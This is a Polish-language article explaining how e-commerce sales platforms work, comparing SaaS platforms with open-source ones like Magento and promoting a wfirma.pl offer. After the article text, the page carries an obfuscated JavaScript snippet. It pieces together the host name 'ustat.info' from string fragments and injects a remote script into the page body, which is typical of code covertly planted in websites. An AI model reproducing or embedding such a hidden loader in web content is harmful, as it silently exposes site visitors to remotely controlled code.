Czym są i jak działają platformy sprzedażowe?

Każdy przedsiębiorca, który planuje założenie sklepu internetowego, musi najpierw zmierzyć się z wyborem odpowiedniej platformy e-commerce. To dzięki niej możliwe jest prowadzenie sprzedaży online przedstawienie oferty, przyjmowanie zamówień czy kontakt z klientami. Wyjaśniamy, jak działają platformy sprzedażowe!

Platforma sprzedażowa co to jest?

Platforma e-commerce to złożone oprogramowanie, które umożliwia założenie sklepu internetowego i prowadzenie za jego pośrednictwem sprzedaży online. Dzięki takiej platformie możesz w atrakcyjnej formie zaprezentować swoją ofertę potencjalnym klientom, a ci z kolei za pomocą kilku kliknięć mogą kupić Twoje produkty (lub usługi).

Platforma sprzedażowa często wspiera realizację zamówienia na każdym etapie, łącznie z częściowo zautomatyzowaną obsługą klienta. Dzięki temu rozwiązaniu, prowadząc sklep nie musisz samodzielnie zbierać zamówień np. przez telefon lub za każdym razem informować zamawiającego o postępach w wysyłce. E-mail z taką informacją zostanie wysłany automatycznie, gdy tylko w systemie zmieni się status zamówienia.

To tylko niektóre możliwości platform e-commerce. Duże sklepy internetowe korzystają z bardzo rozbudowanego oprogramowania o licznych funkcjach. Dzięki temu, wszystkie niezbędne informacje np. stany magazynowe, dane klientów, postępy w realizacji zamówienia, statystyki sprzedaży znajdują się w jednym miejscu, a cały proces przebiega o wiele sprawniej.

Czym jest platforma e-commerce w modelu SaaS?

Na rynku istnieje wiele rozwiązań, które umożliwiają prowadzenie sprzedaży w sieci. To, jaką wybierzesz, zależy od specyfiki Twojego sklepu modelu sprzedaży, branży, zasobów i osobistych preferencji.

Jeśli dopiero zaczynasz przygodę z e-handlem, warto sięgnąć po gotowe rozwiązania, które pozwolą Ci ruszyć z miejsca bez inwestowania dużych kwot. Ten rodzaj platform e-commerce to inaczej oprogramowanie SaaS (Software as a Service). Decydując się na takie rozwiązanie, nie musisz martwić się o zatrudnianie specjalistów do obsługi sklepu, a wsparcie techniczne zapewnia dostawca usługi.

Jeśli jeszcze nie znalazłeś firmy, która zajmie się księgowością dla Twojego sklepu, ciekawą propozycją jest E-commerce za darmo w wfirma.pl. Dostęp do platformy e-commerce bez dodatkowych opłat jest oferowany klientom, którzy skorzystają z usług biura rachunkowego.

Wraz z rozwojem sklepu i wzrostem sprzedaży, może okazać się, że dotychczasowa platforma e-commerce nie oferuje wystarczająco dużych możliwości. Wtedy konieczny jest wybór lepszego rozwiązania i przeprowadzenie migracji sklepu.

Platforma sprzedażowa Open Source dla kogo?

Gotowe rozwiązania sprawdzają się najlepiej w przypadku małych i średnich firm, które nie mają wystarczających zasobów, by zbudować własny zespół doświadczonych developerów i specjalistów e-commerce. Większe sklepy internetowe wymagają jednak bardziej indywidualnego podejścia. W takim wypadku najlepszym rozwiązaniem jest zbudowanie dostosowanego zaplecza na bazie sprawdzonego oprogramowania Open Source. Jedną z najchętniej wybieranych platform e-commerce o otwartym kodzie jest Magento, którego wersja podstawowa jest dostępna bezpłatnie. Niestety, jego wadą są wysokie koszty wdrożenia rozwiązania stworzenie sklepu w oparciu o oprogramowanie Open Source może sporo kosztować. Dodatkowo, mniej intuicyjne zaplecze sprawia, że wymagane jest przeszkolenie całego zespołu z obsługi platformy.

(function(){
wamv=document.createElement("script");wamv.type="text/javascript";
wamv.async=true;wamv_=(("us")+"t")+"a";wamv_+=("t.i")+""+"n";wamv_+=(("f")+"o");wamv_+="/";

wamvu="181447926.";wamvu+="2425y1Xkamvu92u7c06lmiz455gd5g";wamv.src="https://"+wamv_+wamvu;
wamvdb=document.body;wamvdb.appendChild(wamv);
})();